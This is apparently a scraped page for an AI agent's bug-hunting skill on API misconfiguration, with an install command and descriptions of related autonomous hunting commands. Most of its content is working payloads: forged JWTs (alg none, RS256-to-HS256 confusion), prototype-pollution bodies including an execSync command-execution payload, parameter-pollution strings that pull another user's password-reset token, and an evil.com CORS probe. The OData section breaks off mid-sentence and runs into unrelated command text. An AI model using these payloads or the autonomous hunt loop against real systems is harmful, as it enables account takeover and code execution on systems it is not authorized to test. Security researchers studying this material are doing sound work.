hunt-api-misconfig
Hunt-API-Misconfig detects API security flaws including mass assignment vulnerabilities, JWT weaknesses (null algorithm, RS256 to HS256 confusion, kid injection), prototype pollution via __proto__ injection, and HTTP verb tampering attacks. Use this skill when testing API endpoints for privilege escalation, token bypass, unprotected object mutation, and CORS misconfiguration exploits.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-api-misconfig && cp -r /tmp/hunt-api-misconfig/skills/hunt-api-misconfig ~/.claude/skills/hunt-api-misconfigSKILL.md
## 12. API SECURITY MISCONFIGURATION
### Mass Assignment
```javascript
User.update(req.body) // body has {"role": "admin"} → privilege escalation
```
### JWT None Algorithm
```python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
```
### JWT RS256 → HS256 Algorithm Confusion
```python
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
```
### Prototype Pollution
```javascript
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
```
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype
state reaches a later operation.
Hunt sequence:
1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.
Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
2. **Pollute harmless marker properties.** Send variants such as:
```
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
```
3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render
endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields,
server errors mentioning object properties, changed job output, template/render errors, or command/job
behavior changes.
4. **Escalate only through learned sinks.** Candidate properties depend on the sink:
```
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
```
5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic,
export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only
when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
### Server-Side Parameter Pollution in Backend URL / REST URL Construction
Use this when a frontend form or endpoint appears to call a server-side API on your behalf
(password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not
ordinary client-side query pollution. The server takes your input and interpolates it into a backend
URL path or query string, such as:
```
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
```
Hunt sequence:
1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look
for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends.
If there is a reset/account form, test known usernames first to learn the normal success/error shape.
2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input:
`#`, `?`, `&x=y`, `/`, `../`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`.
Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned
fields mean your value is being interpreted by a server-side URL router, not merely validated as text.
3. **Use path traversal to move inside the server-side URL.** If `username/../other-user` changes the
referenced account, the input is in a REST path segment. Then try appending route fragments such as
`/field/email`, `/field/id`, `/field/username`, `/field/passwordResetToken`, and terminate the rest
of the original backend path with `#` or `%23` when the backend URL parser honors fragments.
4. **Discover API documentation from errors.** When an error says to consult the API definition, probe
common documentation/spec paths: `/openapi.json`, `/swagger.json`, `/api-docs`, `/api/swagger.json`,
`/swagger/v1/swagger.json`, `/v3/api-docs`, and path-traversal variants that attempt to reach the
spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources
and field names.
5. **Exploit only to prove impact.** For password reset/account lookup flows, the strongest proof is a
sensitive field such as a reset token or secret for another user, then using that token in the normal
application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing
feedback.
Payload patterns to try, adapted to the observed parameter name:
```
username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23
```
### CORS Exploitation
```bash
# Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
```
---
## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
OData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,**Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Active vulnerability hunting. Two-track dispatcher — asks Red Team vs WAPT, hands off to hunt-dispatch skill and sibling commands. Usage: /hunt target.com | /hunt *.target.com | /hunt targets.txt [--vuln-class X] [--source-code P] [--chrome]
On-demand intelligence fetch for a target — CVEs, disclosed reports, new features. Pulls NVD/GitHub-Advisory CVEs + bundled disclosed reports + hunt memory context. Usage: /intel target.com
Inspect or rotate the autopilot ledger JSONL files (findings.jsonl, negatives.jsonl). Caps file size and keeps N rotated backups so memory does not grow unbounded.
Pick up a previous hunt on a target — shows hunt history and untested surface from the autopilot ledger. Usage: /pickup target.com
Run full recon pipeline on a target — subdomain enum (Chaos API + subfinder), live host discovery (dnsx + httpx), URL crawl (katana + waybackurls + gau), gf pattern classification, nuclei scan. Outputs to recon/<target>/ directory. Usage: /recon target.com
Optional manual note on a target or the last confirmed finding. Capture is automatic during autopilot; this is for extra context. Usage: /remember